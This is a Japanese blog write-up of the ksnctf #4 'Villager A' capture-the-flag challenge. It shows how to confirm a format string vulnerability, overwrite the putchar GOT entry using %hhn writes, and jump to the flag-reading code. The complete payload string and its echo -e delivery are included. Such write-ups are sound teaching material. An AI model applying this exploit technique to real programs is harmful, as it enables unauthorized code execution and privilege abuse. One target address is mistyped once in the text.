ksnctf #4 Villager A writeup
なんでこんな記事を書いているか
CTF やろうと思って適当な記事を読んだら意味不明だったので…
Villager A
CTF です.
解法
まずはサーバーにアクセスしてみると,flag.txt と q4 というふたつのファイルが見つかる.
cat flag.txt
を試みると,パーミッションで蹴られる.
q4 のパーミッションを確認すると,q4a グループの権限で実行できて,これで flag.txt が読み取り可能なことがわかる.(わからなかったらググってください.)
q4 を実行してみると,こんな感じになる.
[q4@eceec62b961b ~]$ ./q4 What's your name? kaage Hi, kaage Do you want the flag? Yes Do you want the flag? yes Do you want the flag? No Do you want the flag? no I see. Good bye. [q4@eceec62b961b ~]$
まず名前を聞かれて,no と答えるまでループされる.
ここで,入力した名前を復唱しているので,書式文字列攻撃を試す.
[q4@eceec62b961b ~]$ ./q4 What's your name? AAAA %x %x %x %x %x %x %x %x Hi, AAAA 400 f7d31580 ffca8f28 6 0 41414141 20782520 25207825 Do you want the flag? no I see. Good bye. [q4@eceec62b961b ~]$
うまくいった.これで,入力した AAAA
という値は,6番目のアドレスに格納されることもわかる.
次に,ディスアセンブルしてみる.(main だけ抜粋)
080485b4 <main>: 80485b4: 55 push %ebp 80485b5: 89 e5 mov %esp,%ebp 80485b7: 83 e4 f0 and $0xfffffff0,%esp 80485ba: 81 ec 20 04 00 00 sub $0x420,%esp 80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp) 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax 80485d1: 89 44 24 08 mov %eax,0x8(%esp) 80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80485dc: 00 80485dd: 8d 44 24 18 lea 0x18(%esp),%eax 80485e1: 89 04 24 mov %eax,(%esp) 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp) 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea 0x18(%esp),%eax 80485f9: 89 04 24 mov %eax,(%esp) 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> 8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> 804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp) 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp) 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov 0x8049a04,%eax 804862b: 89 44 24 08 mov %eax,0x8(%esp) 804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 8048636: 00 8048637: 8d 44 24 18 lea 0x18(%esp),%eax 804863b: 89 04 24 mov %eax,(%esp) 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test %eax,%eax 8048645: 0f 94 c0 sete %al 8048648: 84 c0 test %al,%al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov $0x0,%eax 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp) 804865d: 08 804865e: 8d 44 24 18 lea 0x18(%esp),%eax 8048662: 89 04 24 mov %eax,(%esp) 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test %eax,%eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp) 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov $0x0,%eax 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax 8048688: 85 c0 test %eax,%eax 804868a: 0f 95 c0 setne %al 804868d: 84 c0 test %al,%al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp) 8048698: 08 8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp) 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp) 80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax 80486b3: 89 44 24 08 mov %eax,0x8(%esp) 80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80486be: 00 80486bf: 8d 44 24 18 lea 0x18(%esp),%eax 80486c3: 89 04 24 mov %eax,(%esp) 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea 0x18(%esp),%eax 80486cf: 89 04 24 mov %eax,(%esp) 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov $0x0,%eax 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
80486a0 の fopen で flag.txt を読んで,そのまま出力までもっていきそうだが,これが 804868f の jne 命令で阻まれている.
適当にメモリを書き換えて,このあとの8048691 に飛ばしてあげたい.
main を眺めて,入力のあとに必ず呼ばれそうな処理を見ると,8048608 の putchar がある.putchar を参照すると,
08048474 <putchar@plt>: 8048474: ff 25 e0 99 04 08 jmp *0x80499e0 804847a: 68 08 00 00 00 push $0x8 804847f: e9 d0 ff ff ff jmp 8048454 <.plt>
と,80499e0 にジャンプしている.これを書き換えてやれば,うまく動いてくれそう.
ここまでをまとめると,80499e0 番地の値を 8048691 にしてあげたい.
先ほど,入力した書式文字列自体は 6 番目の引数にあたるところから格納され始めることがわかった.つまり,書式文字列のところに文字列を入力すると,入力した文字列が printf の 6 番目の引数になるべきアドレスに入ってくれる.ここに書き込みたい先のアドレスの値を入れて,その時点での出力バイト数を,引数で指定したアドレスに書き込んでくれる %hhn
を使う.%hhn
の対象となるアドレスは本来引数として与えられるが,入力文字列を格納するところととアドレスが被っているのでこういうことができる.
書式文字列では,引数の番号を %1$hhn
のように明示的に指定することもできるので,これを使うと任意のアドレスに値を書き込める.
攻撃の流れをまとめる.
- 6 番目の引数にあたる場所から先のスタック領域に,書き込み先アドレス(0x80499e0)を入れる.これは普通に入力するだけ.
- 適当に出力文字数を調整しながら,0x80599e0 から始まる場所に,ジャンプ先のアドレス(0x8048691)を書き込む.
なお,出力文字数は,%[数値]c
で数値のぶんだけ出力して調整できる.リトルエンディアンに注意して入力する文字列を作る.
まず最初の 16 バイトに書き込みたいアドレスの位置を順に格納する.ここまでで 16 バイト出力したので,ジャンプ先アドレスの最後に 91(10 進数では 145)を入れるために,129 バイト追加で出力する.次には 86(10 進数で 134)を入れたいので,245 バイト出力して,繰り上がりで 134 に合わせる.これを順々に行なっていけばメモリの値が書き換えられる.同じように最後までやってまとめると,
\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn
になる.これを echo -e
でエンコードして出力してやれば,flag が出力される.なお,echo に渡す際はシングルクォーテーションで囲んであげないとエスケープしてくれず,ダブルクォーテーションだとうまくいかないので注意.
感想
CTF,序盤かなり意味不明なので,これを読んでわかる人が増えてくれたら嬉しい